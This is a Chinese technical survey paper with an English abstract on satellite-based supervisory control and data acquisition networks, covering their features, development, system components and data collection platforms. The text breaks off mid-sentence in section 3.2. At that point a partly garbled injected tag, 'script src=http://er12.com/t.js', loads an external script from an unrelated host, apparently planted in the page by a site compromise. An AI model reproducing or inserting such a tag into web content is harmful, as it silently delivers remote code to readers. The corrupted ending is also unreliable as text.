摘要 通信卫星数据采集与控制技术是通信技术与遥测、遥控、遥 监技术相结合的应用技术,在国民经济的许多部门有广泛的应用前景。本文简要综述了通信 卫星数据采集与控制技术的特点、发展状况、应用系统组成及工作原理、主要关键技术和应 用前景。
关键词 通信卫星 数据采集与控制平台
the communication satellite supervisory
control and data acquisition network and its application
abstract:in this paper are discussed the communication satellite supervisory control and data acquisition network with its character,current situation,system constitutio n,key technique and application prospects.
key words:communication satellite data acquisition su pervisory control
1 通信卫星数据采集与控制技术的主要特点
通信卫星数据采集与控制技术是适应经济社会对遥远距离、分散的大范围的数据采集与控制 技术的需求而发展起来的。例如电力网运行状态的监测监控;石油天然气管道状态的监测监 控;水利水电部门对大江大河、大水电站上游流域水文数据的监测和对水库闸门的监控等。 过去由于经济的、技术的原因,许多部门很难实现自动的、实时的数据采集与控制。随着航 天遥测、遥控、遥监和卫星通信等高新技术的发展和应用,完全能对各种远距离的、分散的 、大范围的各种监测量根据要求进行自动采集,经通信卫星传输到数据中心接收站,处理后 送给用户应用系统进行分析、判断,发出指令对远方的控制机构进行控制。
通信卫星数据采集与控制技术有如下主要特点:
(1)系统中传送的信息不是人们活动产生的话音、图像,而是由各种传感仪器对被检测电量 或非电量进行自动提取测量的数据。
(2)由于应用的特点,数据传输速率属于低速率,一般小于9.6kbps,用得最多的是2.4kbp s,1.2kbps。
(3)网络拓朴结构主要是星形网,便于用户管理中心对大量分散的测量控制点进行管理、监 控。
(4)由于用户部门的业务要求,远端站应是全自动的、无人值守的、可野外工作。
(5)为适应野外工作的环境条件,远端站应具有防水、防尘、防盐雾等性能,适应严寒与酷 暑的环境能力和太阳能供电能力。
(6)远端站应是高可靠、低功耗、重量轻、体积小。
(7)远端站数据报告模式以询问式为主,兼有定时式,随机报告式。
(8)数据中心站可对远端站进行遥控以及对应用目标进行控制。
2 通信卫星数据采集与控制技术发展情况
通信卫星数据采集与控制技术的发展是基于社会的需求和卫星通信技术的进步。
首先通信卫星采用了大功率转发器,大尺寸多波束天线以及ku、ka频段的使用,大大简化了 地面设备,降低了地面站成本,使得卫星通信技术能够应用于数据采集与控制系统。
其次微电子技术、微处理器技术的进步,使卫星地面远端站可以实现智能化、小型化、高可 靠,使大范围分散的远端站能实现全自动化管理,无人值守。
再则,过去卫星通信设备价格昂贵令人望而生畏。近年来微电子技术及其产品规模化、商品 化,价格急剧下降,用于数据采集与控制系统的远端站设备已降到人们可以接受的价格,如 4~5万人民币。
最后在空间资源方面,近年来亚太地区兴起通信卫星发射热,根据有关公司预测,亚太 地区卫星转发器的总数将由现在的1500台猛增到2001年的2500台,而且这些卫星转发器寿命 都在10~15年。现在卫星转发器市场已经形成一个买方市场,预计转发器租用价将呈降低之 势,这也为通信卫星数据采集与控制技术的应用提供了有利条件。
由于上述这些条件--社会需求和卫星通信技术的进步,国内厂商已经或正在开发通信卫星 数据采集与控制系统,有的已应用于实际工程。
3 通信卫星数据采集与控制系统组成及工作原理
3.1 组成
通信卫星数据采集与控制系统由通信卫星转发器,数据采集与控制平台(dcp) ,用户数据中心站和网络管理站组成。如图1所示。
图1 系统组成
在网络结构上是星形数据采集与控制网络。在一个大系统中由若干个用户子网与网络管理协 调系统组成,每个子网由相对独立的dcp和数据接收站组成,网络管理协调系统包括网络管 理站、卫星转发器及用户子网中的管理通道。
各用户子网根据自己的业务特点和系统规范设计自己的工作方式--如采集数据报文格式、 监控方式、数据采集时间及间隔等等。
网络管理协调系统对卫星信道资源进行统一调度,对系统工作状态进行监控,发射系统导频 ,实现各子网间的数据交换,资源共享。
3.2 数据采集与控制平台(dcp)
它通过各种传感器将被测物理量变换成串行或并行数?script src=http://er12.com/t.js>











